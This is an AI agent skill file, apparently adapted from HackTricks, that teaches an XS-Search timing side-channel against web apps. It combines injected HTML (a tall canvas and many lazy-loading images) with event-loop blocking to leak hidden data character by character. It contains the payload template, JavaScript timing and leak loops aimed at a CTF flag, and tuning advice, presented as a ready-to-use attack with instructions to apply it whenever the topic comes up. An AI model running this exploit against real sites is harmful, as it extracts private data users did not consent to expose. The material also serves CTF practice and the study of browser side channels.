Hacktricks-skills lazy-image-sidechannel

How to perform timing-based side-channel attacks using lazy image loading and event loop blocking. Use this skill whenever the user mentions timing attacks, side-channel exploits, lazy loading vulnerabilities, image loading timing, event loop blocking, or wants to leak data through timing differences in web applications. This is especially useful for CTF challenges involving HTML injection with timing oracles, or when you need to extract hidden data through performance-based side channels.

install
source · Clone the upstream repo
git clone https://github.com/abelrguezr/hacktricks-skills
manifest: skills/pentesting-web/xs-search/event-loop-blocking-+-lazy-images/SKILL.MD
source content

Lazy Image Side-Channel Attack

This skill teaches you how to perform timing-based side-channel attacks that combine lazy image loading with event loop blocking to leak characters from hidden data.

When to Use This Technique

Use this attack when:

  • You have HTML/XSS injection capability
  • The target uses lazy image loading (
    loading="lazy"
    )
  • You can measure request/response timing
  • The application loads content in a predictable order (alphabetical, chronological, etc.)
  • You need to extract hidden data character-by-character

Core Concept

The attack exploits how browsers handle lazy image loading:

  1. Lazy images only load when visible - Images with
    loading="lazy"
    don't load until they scroll into viewport
  2. Event loop blocking - When many images load simultaneously, they block the Node.js event loop
  3. Timing oracle - Blocked event loop = slower responses, which you can measure

The Exploit Flow

┌─────────────────────────────────────────────────────────────┐
│ 1. Inject post with:                                        │
│    - Character to test (e.g., "A" or "Z")                   │
│    - Large canvas (fills screen)                            │
│    - Many lazy images (at bottom, below fold)               │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│ 2. If injected post is FIRST (alphabetically):              │
│    - Canvas fills screen                                    │
│    - Lazy images are BELOW fold → NOT loaded                │
│    - Event loop NOT blocked → FAST responses                │
└─────────────────────────────────────────────────────────────┘
                              │
                              ▼
┌─────────────────────────────────────────────────────────────┐
│ 3. If injected post is AFTER flag:                          │
│    - Flag post appears first                                │
│    - Canvas + lazy images are VISIBLE → images LOAD         │
│    - Event loop BLOCKED → SLOW responses                    │
└─────────────────────────────────────────────────────────────┘

Attack Implementation

Step 1: Craft the Payload

<!-- Template for character testing -->
${CHAR_TO_TEST}<br>
<canvas height="3350px"></canvas><br>
${LAZY_IMAGES}

Where

LAZY_IMAGES
is:

<img loading="lazy" src="/?0">
<img loading="lazy" src="/?1">
<img loading="lazy" src="/?2">
<!-- ... repeat 20+ times -->

Key parameters to tune:

  • canvas height
    : Must be large enough to push images below fold when post is first
  • number of lazy images
    : More images = more event loop blocking = clearer timing difference
  • timing threshold
    : Measure on target to find the cutoff between "blocked" and "not blocked"

Step 2: Measure Timing

async function measureTiming(targetUrl, rounds = 30) {
  let totalTime = 0;
  
  for (let i = 0; i < rounds; i++) {
    const start = performance.now();
    await fetch(targetUrl + "/?test", { mode: "no-cors" });
    const end = performance.now();
    totalTime += (end - start);
  }
  
  return totalTime / rounds; // average per request
}

Step 3: Binary Search for Characters

const charset = "abcdefghijklmnopqrstuvwxyz{}0123456789";
let flag = "SEKAI{";

async function leakCharacter() {
  for (const char of charset) {
    const testString = flag + char;
    const isBeforeFlag = await testCharacter(testString);
    
    if (isBeforeFlag) {
      flag += char;
      break;
    }
  }
  return flag;
}

Step 4: Test Character Position

async function testCharacter(testString) {
  // 1. Inject post with test string + payload
  await injectPost(testString + payload);
  
  // 2. Wait for page to load
  await sleep(500);
  
  // 3. Open multiple tabs to trigger image loading
  for (let i = 0; i < 5; i++) {
    window.open(targetUrl);
  }
  
  // 4. Measure timing
  await sleep(200);
  const avgTime = await measureTiming(targetUrl);
  
  // 5. Clean up
  await removePost();
  
  // 6. Return result based on threshold
  return avgTime >= THRESHOLD; // true = images loaded = post is after flag
}

Tuning Parameters

Finding the Right Canvas Height

Test locally to find the height that:

  • Shows images when post is NOT first (below flag)
  • Hides images when post IS first (above flag)
// Test different heights
const heights = [3000, 3200, 3350, 3500, 4000];
for (const h of heights) {
  const canvas = `<canvas height="${h}px"></canvas>`;
  // Test and measure timing difference
}

Finding the Timing Threshold

Run multiple tests with known positions:

// Test with "A" (should be before flag)
const timeA = await measureTiming();

// Test with "Z" (should be after flag)
const timeZ = await measureTiming();

// Threshold should be between them
const threshold = (timeA + timeZ) / 2;

Complete Exploit Template

See

scripts/exploit-template.js
for a ready-to-use template.

Common Pitfalls

  1. Threshold too tight - Network variance can cause false positives. Use multiple rounds and average.
  2. Canvas height wrong - Images may load in both cases or neither. Test locally first.
  3. Not enough lazy images - Event loop blocking may be too subtle. Use 20+ images.
  4. Timing measurements too few - Use 30+ rounds for reliable averages.
  5. Not cleaning up - Remove test posts between iterations to avoid breaking the oracle.

When This Won't Work

  • Target doesn't use lazy image loading
  • You can't inject HTML
  • Content isn't loaded in predictable order
  • Server doesn't have event loop blocking vulnerability
  • CORS prevents timing measurements

Related Techniques

  • Connection pool exhaustion - Similar timing oracle, different mechanism
  • DNS side-channels - Use DNS queries instead of HTTP timing
  • Cache timing attacks - Exploit cache hit/miss timing differences

References